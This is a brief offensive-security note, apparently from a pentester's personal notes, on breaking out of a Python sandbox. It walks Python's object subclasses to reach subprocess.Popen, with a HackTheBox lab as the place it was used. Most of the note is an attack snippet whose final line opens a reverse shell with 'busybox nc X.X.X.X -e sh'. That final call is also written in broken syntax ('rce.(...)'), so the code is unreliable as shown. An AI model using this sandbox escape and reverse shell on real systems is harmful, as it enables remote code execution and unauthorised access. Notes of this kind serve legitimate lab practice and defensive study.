# **Basic Information** # **Accessing Subclasses with Bypasses** ```python # enumerate subclasses loaded in memory classes = [].__class__.__base__.__subclasses__() # list subclasses with index for index, value in enumerate(classes): print(f"Index: {index}, Value: {value}") # once a module of interest has been identified, reference its index to call it # in this case, subprocess.Popen has an index of 317 rce = [].__class__.__base__.__subclasses__()[317] rce.("busybox nc X.X.X.X -e sh", shell=True) ``` # **References** # **Practical Application** | Platform | Name | Notes | | --------------- | -------- | ----- | | HackTheBox Labs | [[Code]] | |